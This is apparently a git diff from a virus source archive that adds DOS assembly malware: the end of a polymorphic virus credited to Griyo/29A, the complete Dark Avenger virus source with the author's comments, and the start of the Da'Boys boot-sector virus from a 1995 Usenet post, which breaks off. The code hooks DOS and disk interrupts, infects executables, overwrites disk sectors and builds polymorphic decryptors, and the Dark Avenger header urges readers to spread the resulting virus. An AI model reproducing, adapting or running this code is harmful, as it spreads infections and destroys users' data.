+;Choose within ah,function or ax,function+subfunction + and al,01h + jz do_int_ax +do_int_ah: + mov ax,end_ah_table-ah_table + call rand_in_range + mov bx,ax + mov ah,byte ptr cs:[ah_table+bx] +;Do not generate same int's in a row + cmp ah,byte ptr cs:[last_int_type] + jz do_int_ah +;Generate mov ah,function + mov byte ptr cs:[last_int_type],ah + mov al,0B4h + stosw +;Generate int 21h + mov ax,021CDh + stosw + ret +do_int_ax: + mov ax,(end_ax_table-ax_table)/2 + call rand_in_range + add ax,ax + mov bx,ax + mov ax,word ptr cs:[ax_table+bx] +;Do not generate same int's in a row + cmp ah,byte ptr cs:[last_int_type] + jz do_int_ax + mov byte ptr cs:[last_int_type],ah +;Generate mov ax,function + mov byte ptr es:[di+00h],0B8h + inc di + stosw +;Generate int 21h + mov ax,021CDh + stosw + ret +;----------------------------------------------------------------------------- +;Simple timer based random numbers but with a twist using xor of last one. +;----------------------------------------------------------------------------- +get_rnd: + in ax,40h + xor ax, 0FFFFh + org $-2 +Randomize dw 0000h + mov [Randomize],ax + ret +;----------------------------------------------------------------------------- +;A small variation to compensate for lack of randomocity in the +;high byte of 16 bit result returned by get_rnd. +;----------------------------------------------------------------------------- +rand_16: + call get_rnd + mov bl,al + call get_rnd + mov ah,bl + ret +;----------------------------------------------------------------------------- +;Generate a random number betwin 0 and ax. +;----------------------------------------------------------------------------- +rand_in_range: +;Returns a random num between 0 and entry ax + push bx + push dx + xchg ax,bx + call get_rnd + xor dx,dx + div bx +;Remainder in dx + xchg ax,dx + pop dx + pop bx + ret +;---------------------------------------------------------------------------- +;Return the al vector in es:bx +;---------------------------------------------------------------------------- +get_int: + push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,dword ptr es:[bx+00h] + pop ax + ret +;---------------------------------------------------------------------------- +;Set al interrupt vector to ds:dx pointer +;---------------------------------------------------------------------------- +set_int: + push ax + push bx + push ds + cli + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[bx+00h],dx + pop word ptr ds:[bx+02h] + sti + pop ds + pop bx + pop ax + ret +;---------------------------------------------------------------------------- +;Print message to screen +;---------------------------------------------------------------------------- +print_credits: +;Set VGA video mode 03h + push bp + mov ax,0003h + int 10h +;Print string + mov ax,1301h + mov bx,0002h + mov cx,003Ah + mov dx,0A0Bh + push cs + pop es + pop bp + add bp,offset text_birthday + int 10h +exit_print: +;Infinite loop + jmp exit_print +;---------------------------------------------------------------------------- +;Get sft address in es:di +;---------------------------------------------------------------------------- +get_sft: +;File handle in bx + push bx +;Get job file table entry to es:di + mov ax,1220h + int 2Fh + jc error_sft +;Exit if handle not opened + xor bx,bx + mov bl,byte ptr es:[di+00h] + cmp bl,0FFh + je error_sft +;Get address of sft entry number bx to es:di + mov ax,1216h + int 2Fh + jc error_sft + pop bx + stc + cmc + ret +;Exit with error +error_sft: + pop bx + stc + ret +;---------------------------------------------------------------------------- +;Seek to end of file +;---------------------------------------------------------------------------- +seek_end: + call get_sft + mov ax,word ptr es:[di+11h] + mov dx,word ptr es:[di+13h] + mov word ptr es:[di+17h],dx + mov word ptr es:[di+15h],ax + ret +;---------------------------------------------------------------------------- +;Seek to beginning +;---------------------------------------------------------------------------- +seek_begin: + call get_sft + xor ax,ax + mov word ptr es:[di+17h],ax + mov word ptr es:[di+15h],ax + ret +;---------------------------------------------------------------------------- +;Virus CRITICAL ERROR interrupt handler +;---------------------------------------------------------------------------- +my_int24h: + sti + ;Return error in function + mov al,3 + iret +;---------------------------------------------------------------------------- +;Save all registers in the stack +;---------------------------------------------------------------------------- +push_all: + cli + pop cs:[ret_off] + pushf + push ax + push bx + push cx + push dx + push bp + push si + push di + push es + push ds + push cs:[ret_off] + sti + ret +;---------------------------------------------------------------------------- +;Restore all registers from the stack +;---------------------------------------------------------------------------- +pop_all: + cli + pop cs:[ret_off] + pop ds + pop es + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + popf + push cs:[ret_off] + sti + ret +;---------------------------------------------------------------------------- +;Clear some registers before returning to host +;---------------------------------------------------------------------------- +zero_all: + xor ax,ax + xor bx,bx + xor cx,cx + xor dx,dx + xor di,di + xor si,si + xor bp,bp + ret +;---------------------------------------------------------------------------- +;Unhook int 03h and int 24h and clear dos infection switch +;---------------------------------------------------------------------------- +unhook_ints: + push ds + push dx + push ax + mov byte ptr cs:[running_sw],"R" + lds dx,dword ptr cs:[old03h] + mov al,03h + call set_int + lds dx,dword ptr cs:[old24h] + mov al,24h + call set_int + pop ax + pop dx + pop ds + ret +;---------------------------------------------------------------------------- +;Get position of code inserted into boot sector +;---------------------------------------------------------------------------- +get_position: + mov ah,0 + mov al,byte ptr es:[bx+01h] + inc ax + inc ax + mov di,bx + add di,ax + ret +;---------------------------------------------------------------------------- +;Make a copy of file header +;---------------------------------------------------------------------------- +copy_header: +;Copy header to buffer + call push_all + push cs + pop es + mov si,offset file_buffer + mov di,offset old_header + mov cx,0019h + cld + rep movsb + call pop_all + ret +;---------------------------------------------------------------------------- +;Polymorphic generator data buffer +;---------------------------------------------------------------------------- +ah_table: +;This table contains the int 21h garbage functions + db 00Bh ;Read entry state + db 019h ;Get current drive + db 02Ah ;Get current date + db 02Ch ;Get current time + db 030h ;Get dos version number + db 062h ;Get psp address +end_ah_table: +ax_table: + dw 3300h ;Get break-flag + dw 3700h ;Get line-command separator + dw 5800h ;Get mem concept + dw 5802h ;Get umb insert + dw 6501h ;Get code-page +end_ax_table: +;Push and pop pairs +bytes_2: + push ax + pop dx + push ax + pop bx + push ax + pop cx + push bx + pop dx + push bx + pop cx + push cx + pop bx + push cx + pop dx +end_bytes_2: +;Steps table +step_table: + dw offset do_subroutine + dw offset do_call_garbage + dw offset g_generator + dw offset do_branch + dw offset sub_decryptor + dw offset next_decryptor + dw offset do_push_g_pop +end_step_table: +instruction_table: + dw offset inst_get_delta + dw offset inst_load_counter + dw offset inst_load_pointer + dw offset inst_decrypt_one + dw offset inst_inc_pointer + dw offset inst_dec_loop +end_inst_table: +;Address of every op-code generator +op_table: + dw offset move_with_reg + dw offset move_imm + dw offset reg_exchange + dw offset do_push_pop + dw do_int_21h +end_op_table: +;Misc data +last_fill_type dw 0 +last_int_type db 0 +last_step_type dw 0000h +last_subroutine dw 0000h +decrypt_sub dw 0000h +address_loop dw 0000h +decrypt_pointer db 00h +address_register db 00h +decrypt_register db 00h +address_seg_1 db 00h +address_seg_2 db 00h +;---------------------------------------------------------------------------- +;Virus data buffer +;---------------------------------------------------------------------------- +old21h equ this dword +old21h_off dw 0000h +old21h_seg dw 0000h +org21h equ this dword +org21h_off dw 0000h +org21h_seg dw 0000h +old13h equ this dword +old13h_off dw 0000h +old13h_seg dw 0000h +old24h equ this dword +old24h_off dw 0000h +old24h_seg dw 0000h +old03h equ this dword +old03h_off dw 0000h +old03h_seg dw 0000h +read_ptr equ this dword +read_off dw 0000h +read_seg dw 0000h +dos_flag db 00h +prog_type db "C" +running_sw db "R" +stealth_sw db 00h +dos_function dw 0000h +ret_off dw 0000h +today db 00h +file_offset dw 0000h +;---------------------------------------------------------------------------- +text_birthday db "Cri-Cri ViRuS by Griyo/29A" + db " ...Tried, tested, not approved." +;---------------------------------------------------------------------------- +file_buffer db 19h dup (00h) +old_header db 19h dup (00h) +clave_crypt db 00h +;---------------------------------------------------------------------------- +;Buffer for working area +virus_copy db 00h +;---------------------------------------------------------------------------- +com ends + end virus_entry diff --git a/d/D-AVENG.ASM b/d/D-AVENG.ASM new file mode 100755 index 0000000..bb63e5b --- /dev/null +++ b/d/D-AVENG.ASM @@ -0,0 +1,982 @@ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which + ;contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end diff --git a/d/DABOYS.ASM b/d/DABOYS.ASM new file mode 100755 index 0000000..944aed7 --- /dev/null +++ b/d/DABOYS.ASM @@ -0,0 +1,302 @@ +From smtp Fri Mar 24 16:17 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST +Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500 +Date: Fri, 24 Mar 1995 16:21:26 -0500 +From: Eric Kilby +Content-Length: 6924 +Content-Type: text +Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu> +To: joshuaw@pobox.jwu.edu +Subject: (fwd) Re: Da'boys viurs, new? +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Re: Da'boys viurs, new? +Date: 23 Mar 1995 23:25:53 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 276 +Message-ID: <3kts61$1a3@crl9.crl.com> +References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com> +NNTP-Posting-Host: crl9.crl.com +X-Newsreader: TIN [version 1.2 PL2] + +;: does anyone know what this virus does? how dangerous is it +;: and how do i remove it from my boot sector if the disk is not +;: a bootable one? + +;From THe QUaRaNTiNE archives: Da'Boys Source- +;Enjoy... + +cseg segment para public 'code' +da_boys proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +.186 +TRUE equ 001h +FALSE equ 000h + +;----------------------------------------------------------------------------- + +;option bytes used + +COM4_OFF equ TRUE ; 3 bytes +DA_BOYS_TEXT equ TRUE ; 6 bytes + +;----------------------------------------------------------------------------- + +ADDR_MUL equ 004h +BIOS_INT_13 equ 0c6h +BOOT_INT equ 019h +BOOT_OFFSET equ 07c00h +COM4_OFFSET equ 00406h +COM_OFFSET equ 00100h +DISK_INT equ 013h +DOS_GET_INT equ 03500h +DOS_INT equ 021h +DOS_SET_INT equ 02500h +FIRST_SECTOR equ 00001h +INITIAL_BX equ 00078h +LOW_CODE equ 0021dh +NEW_INT_13_LOOP equ 0cdh +READ_A_SECTOR equ 00201h +RETURN_NEAR equ 0c3h +SECTOR_SIZE equ 00200h +TERMINATE_W_ERR equ 04c00h +TWO_BYTES equ 002h +VIRGIN_INT_13_B equ 007b4h +WRITE_A_SECTOR equ 00301h + +;----------------------------------------------------------------------------- + +io_seg segment at 00070h + org 00000h +io_sys_loads_at label word +io_seg ends + +;----------------------------------------------------------------------------- + +bios_seg segment at 0f000h + org 09315h +original_int_13 label word +bios_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET +com_code: + +;----------------------------------------------------------------------------- + +dropper proc near + xor ax,ax + mov ds,ax + lds dx,dword ptr ds:[VIRGIN_INT_13_B] + mov ax,DOS_SET_INT+BIOS_INT_13 + int DOS_INT + mov dx,offset interrupt_13+LOW_CODE-offset old_jz + xor ax,ax + mov ds,ax + mov ax,DOS_SET_INT+DISK_INT + int DOS_INT + mov di,LOW_CODE + mov si,offset old_jz + push ds + pop es + call move_to_boot + mov ax,READ_A_SECTOR + mov cx,FIRST_SECTOR + mov dx,00180h + mov bx,offset buffer + push cs + pop es + int DISK_INT +already_set: mov ax,TERMINATE_W_ERR + int DOS_INT +dropper endp + + +;----------------------------------------------------------------------------- + + org 00048h+COM_OFFSET + call initialize + +;----------------------------------------------------------------------------- + + org 000ebh+COM_OFFSET +old_jz: jz old_code + +;----------------------------------------------------------------------------- + + org 